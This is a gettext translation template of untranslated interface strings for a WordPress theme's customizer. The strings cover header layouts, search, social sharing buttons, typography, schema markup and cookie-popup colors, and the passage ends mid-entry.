msgid "Background For Cookie Law Policy PopUp"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:65
msgid "Text Color For Cookie Law Policy PopUp"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:66
msgid "Text Color For Accept Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:67
msgid "Background For Accept Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_gdpr_section.php:68
msgid "Border Color For Cookie Law Policy PopUp"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:4
msgid "Disable Image Size - 1920 x auto"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:5
msgid "Disable Image Size - 1920 x 800px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:6
msgid "Disable Image Size - 1170 x auto"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:7
msgid "Disable Image Size - 1170 x 663px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:8
msgid "Disable Image Size - 780 x 516px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:9
msgid "Disable Image Size - 585 x 390px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:10
msgid "Disable Image Size - 585 x auto"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:11
msgid "Disable Image Size - 585 x 585px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:12
msgid "Disable Image Size - 480 x 650px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_image_sizes_section.php:13
msgid "Disable Image Size - 263 x 175px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:4
msgid "Custom General Logo for Schema Markup"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:10
msgid "Remove WPHeader Schema Data"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:17
msgid "Remove WPFooter Schema Data"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:24
msgid "Remove Site Navigation Schema Data"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:31
msgid "Remove Hentry Schema Data"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:38
msgid "Remove General Organization Schema Data"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:45
msgid "Remove Website Schema Data"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:52
msgid "Remove Breadcrumbs Schema Data"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:59
msgid "Remove Schema Data for Single Posts/Pages"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_schema_markup_section.php:66
msgid "Use NewsArticle Schema for All Posts"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:5
msgid "Search Post Types"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:12
msgid "Include Pages on Search Results"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:20
msgid "Ajax Live Search"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:27
msgid "Enable Ajax Live Search"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:35
msgid "Show Post Thumbnail"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:43
msgid "Show Post Format Icon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:51
msgid "Show Post Date"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:59
msgid "Maximum Return Items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:67
msgid "Limit Post Title Words"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:75
msgid "Ajax Live Search Font Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:126
msgid "Font Size for Search Notice"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:145
msgid "Ajax Live Search Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:179
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:803
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:775
#: inc/elementor/modules/penci-posts-tabs/widgets/penci-posts-tabs.php:442
#: inc/js_composer/inc/vc-params-helper.php:1043
#: inc/js_composer/inc/vc-params-helper.php:1596
#: inc/js_composer/shortcodes/featured_slider/settings.php:398
#: inc/js_composer/shortcodes/featured_slider/settings.php:447
#: inc/template-builder/archive-elements/posts.php:838
msgid "Post Meta Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:187
msgid "Notice Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:203
msgid "Result Item Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:208
msgid "Google Search Result"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:215
msgid "Replace WordPress Search Result by Google Search"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:223
msgid "Google Search Engine ID"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:227
msgid ""
"Register to Google Custom Search Engine and get your Google Search Engine ID "
"here: <a class=\"wp-customizer-link\" href=\"https://www.google.com/cse/\" "
"target=\"_blank\">https://www.google.com/cse/</a>"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:231
msgid "Show Google Search Form on Search Result Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_search_page_section.php:239
msgid "Open Search Result In:"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:4
msgid "Hide Like Post"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:5
msgid "Hide Facebook Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:6
msgid "Hide Twitter Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:7
msgid "Hide Pinterest Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:8
msgid "Hide Linkedin Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:9
msgid "Hide Tumblr Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:11
msgid "Hide VKontakte Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:12
msgid "Hide Odnoklassniki Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:13
msgid "Hide Reddit Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:14
msgid "Hide Stumbleupon Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:16
msgid "Hide Whatsapp Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:17
#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:21
#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:25
#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:31
msgid "Works for Mobile Only"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:20
msgid "Hide Telegram Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:24
msgid "Hide LINE Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:27
msgid "Hide Pocket Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:28
msgid "Hide Skype Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:30
msgid "Hide Viber Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:33
msgid "Hide Email Share Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:64
msgid "Custom Sharing Text for Twitter"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_social_sharing_section.php:65
msgid "Custom prefix text on preview share of Twitter"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:4
msgid "Font For Heading Titles"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:6
#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:72
msgid "Default font is \"Raleway\""
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:13
msgid "Font Weight For Heading Titles"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:36
msgid "Font For Body Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:45
msgid "Font Weight For Body Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:75
msgid "General Font Size for Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:104
msgid "General Line Height for Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:131
msgid "Font Size for Archive Page Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:132
msgid ""
"Apply for Category Page Title, Tag Page Title, Search Page Title, Archive "
"Page Title - check more on <a class=\"wp-customizer-link\" href=\"https://"
"imgresources.s3.amazonaws.com/archive-page-title.png\" "
"target=\"_blank\">this image</a>"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:161
msgid "Disable Uppercase on Archive Page Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:170
msgid "Font Size for Breadcrumbs"
msgstr ""

#: inc/customizer/config/sections/pencidesign_general_typography_section.php:188
msgid "Font Size for \"Load More Posts\" & Pagination Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:6
msgid "Custom Border Radius for Images on Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:9
msgid ""
"You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</"
"strong>. If you want to disable border radius for it - fill 0"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:14
msgid "Featured Images Type for Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:21
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:20
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:59
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:572
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:304
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:85
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:218
#: inc/elementor/modules/penci-image-gallery/widgets/penci-image-gallery.php:99
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:381
#: inc/elementor/modules/penci-map/widgets/penci-map.php:108
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:487
#: inc/elementor/modules/penci-popular-posts/widgets/penci-popular-posts.php:78
#: inc/elementor/modules/penci-posts-slider/widgets/penci-posts-slider.php:63
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:60
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:65
#: inc/js_composer/shortcodes/big_grid/settings.php:19
#: inc/js_composer/shortcodes/google_map/settings.php:63
#: inc/js_composer/shortcodes/simple_list/settings.php:40
#: inc/template-builder/archive-elements/posts.php:393
msgid "Custom"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:28
msgid "Custom Aspect Ratio for Featured Images Type for Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:30
msgid ""
"The aspect ratio of an element describes the proportional relationship "
"between its width and its height. E.g: <strong>3:2</strong>. Default is "
"3:2 . This option apply  for <strong>Featured Images Type for Category Mega "
"Menu is Custom</strong>"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:35
msgid "Hide \"All\" tab on Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:42
msgid "Custom Words Length for Post Titles on Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:62
msgid "Enable Post Format Icons on Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:69
msgid "Hide Post Category On Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:76
msgid "Hide Post Date On Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:83
msgid "Turn Off Uppercase Post Titles On Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:90
msgid "Font Size for Child Categories On Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:110
msgid "Font Size for Category Name On Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:130
msgid "Font Size for Post Titles On Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_category_megamenu_section.php:150
msgid "Font Size for Post Date On Category Mega Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:5
msgid "Slide Up Search Form"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:21
msgid "Search Form Border Top Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:28
msgid "Search Field Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:35
msgid "Search Field Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors.php:42
msgid "Search Field Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:7
#: inc/meta-box/register/page.php:153
msgid "Header Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:14
#: inc/meta-box/register/page.php:160
msgid "Header Background Image"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:15
msgid "You should use image with minimum width 1920px and minimum height 300px"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:22
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:7
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:7
#: inc/meta-box/register/page.php:215
msgid "Header Social Icons Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:29
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:14
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:15
#: inc/meta-box/register/page.php:222
msgid "Header Social Icons Color Hover"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:42
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:41
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:46
#: inc/meta-box/register/page.php:201
msgid "Header Slogan Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:49
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:48
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:54
#: inc/meta-box/register/page.php:208
msgid "Header Slogan Line Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:54
msgid "Main Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:56
msgid ""
"Check <a class=\"wp-customizer-link\" target=\"_blank\" href=\"https://"
"imgresources.s3.amazonaws.com/main-bar.png\">this image</a> to know what is "
"Main Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:63
msgid "Main Bar Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:70
msgid "Main Bar Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:77
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:21
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:23
msgid "Search, Shopping Cart & Mobile Bars Icons Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:84
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:28
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:31
msgid "Icon Close Search Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:91
msgid "Search Overlay Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:98
msgid "Search Overlay Input Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:105
msgid "Search Overlay Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:110
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:53
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:60
msgid "Primary Menu"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:118
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:61
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:69
msgid "Menu Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:125
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:68
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:77
msgid "Menu Text Hover & Active Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:132
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans.php:75
#: inc/customizer/config/sections/pencidesign_logo_header_colors_trans_section.php:85
msgid "Padding Menu Items Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:133
msgid "Use when you enable padding for menu items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:140
#: inc/elementor/base/base-widget.php:467
#: inc/js_composer/inc/vc-params-helper.php:340
msgid "Dropdown Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:147
msgid "Dropdown Menu Items Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:154
msgid "Dropdown Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:161
msgid "Dropdown Text Hover & Active Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:168
msgid "Dropdown Border When Hover for Menu Style2"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:202
msgid ""
"Post Title Color for Category Mega Menu Style 2 & Featured Post on Style 5"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:216
msgid ""
"Post Date Color for Category Mega Menu Style 2 & Featured Post on Style 5"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:237
msgid "Border Color for Category Mega on Menu Style2"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:244
msgid ""
"Check <a class=\"wp-customizer-link\" target=\"_blank\" href=\"https://"
"imgresources.s3.amazonaws.com/vertical-mobile-navigation.png\">this image</"
"a> to know what is Vertical Mobile Navigation."
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:251
msgid "Mobile Nav Close Overlay Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:258
msgid "Mobile Nav Close Button Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:265
msgid "Mobile Nav Close Button Icon Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:272
msgid "Mobile Nav Background"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:293
msgid "Search Form Search Icon Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:300
msgid "Mobile Nav Accent Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:307
msgid "Mobile Nav Accent Hover Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_colors_section.php:314
msgid "Mobile Nav Menu Items Border Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:4
#: inc/meta-box/register/page.php:85
msgid "Header 1"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:5
#: inc/meta-box/register/page.php:86
msgid "Header 2"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:6
#: inc/meta-box/register/page.php:87
msgid "Header 3"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:7
#: inc/meta-box/register/page.php:88
msgid "Header 4 ( Centered )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:8
#: inc/meta-box/register/page.php:89
msgid "Header 5 ( Centered )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:9
#: inc/meta-box/register/page.php:90
msgid "Header 6"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:10
#: inc/meta-box/register/page.php:91
msgid "Header 7"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:11
#: inc/meta-box/register/page.php:92
msgid "Header 8"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:12
#: inc/meta-box/register/page.php:93
msgid "Header 9"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:13
#: inc/meta-box/register/page.php:94
msgid "Header 10"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:14
#: inc/meta-box/register/page.php:95
msgid "Header 11"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:19
msgid "Header Layout"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:27
#: inc/meta-box/register/page.php:101
msgid "Custom Header Container Width"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:33
#: inc/meta-box/register/page.php:107 inc/meta-box/register/page.php:293
msgid "FullWidth"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:41
msgid ""
"You should choose banner with 728px width and 90px - 100px height for the "
"best result"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:46
msgid "Link To Go When Click Banner Header Right on Header 3"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:56
msgid ""
"If you want use google adsense/custom HTML code in header style 3, paste "
"your google adsense/custom HTML code here"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:62
msgid "Remove Border Bottom on The Header"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:64
msgid "This option just apply for header styles 1, 4, 7"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:70
msgid "Disable Header Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:77
msgid "Enable Use Brand Colors for Social Icons on Header"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:84
msgid "Custom Font Size for Social Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:103
msgid "Display Top Instagram Widget Title Overlay Images"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:110
msgid "Hide Instagram Icon on Top Instagram Widget"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:117
msgid "Add Custom Code Inside &lt;head&gt; tag"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:124
msgid "Add Custom Code After &lt;body&gt; tag"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:132
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:6
msgid "Header Slogan Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:134
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:8
msgid "If you want to hide the slogan text, let make it blank"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:140
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:15
msgid "Remove the Lines on Left & Right of Header Slogan"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:166
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:44
msgid "Font For Header Slogan"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:175
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:54
msgid "Font Weight For Slogan"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_general_section.php:197
#: inc/customizer/config/sections/pencidesign_logo_header_slogan_section.php:77
msgid "Font Style for Slogan"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:5
msgid "Upload Logo"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:11
msgid "Upload Logo for Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:19
msgid "Set A Max Width for Logo"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:41
msgid "Set A Height for Logo Image"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:68
#: inc/meta-box/register/page.php:194
msgid "Upload Logo for Transparent Header style 6, 9, 10 & 11"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:71
#: inc/meta-box/register/page.php:196
msgid "Important Note: This option apply when you use transparent header only"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:78
msgid ""
"By default, logo image will link to homepage url. If you want to link the "
"logo for another URL - fill here. Include http:// or https:// on the link"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:85
msgid "Logo Padding Top & Bottom"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:86
msgid "This option does not apply for header layout 6, 9, 10, 11"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:104
msgid "Overflow Logo for Header Layout 10 & 11"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:112
msgid "Max Width for Sticky Logo on Header 10 & 11"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_logo_section.php:113
msgid ""
"This option just apply when you use overflow logo for header layout 10 & 11"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:10
msgid "Custom Main Bar Height"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:39
msgid "Custom Sticky Main Bar Height When Scroll Down ( Min 30px )"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:58
msgid "Sub Menu Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:70
msgid "Custom Font For Primary Menu Items"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:148
msgid "Dropdown Menu Animation Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:152
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:171
msgid "Slide Down"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:153
#: inc/js_composer/shortcodes/custom_sliders/settings.php:320
msgid "Fade In Up"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:154
#: inc/js_composer/shortcodes/custom_sliders/settings.php:321
msgid "Fade In Down"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:155
#: inc/js_composer/shortcodes/custom_sliders/settings.php:322
msgid "Fade In Left"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:177
msgid "Disable Sticky Main Bar When Scroll Down"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:184
msgid "Enable Social Icons on Main Bar"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:191
msgid "Hide Social Icons on Main Bar for Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:198
msgid "Font Size for Search, Shopping Cart Icons"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:218
msgid "Font Size for Search Input Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:237
msgid "Display Logo on Main Bar on Mobile Devices"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:240
msgid "This option does not apply for Header Style 6 & Style 9"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:245
msgid "Move Logo on Main Bar on Mobile to Center"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:252
msgid "Disable Header Search"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:260
msgid "Header Search Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_logo_header_primary_menu_section.php:264
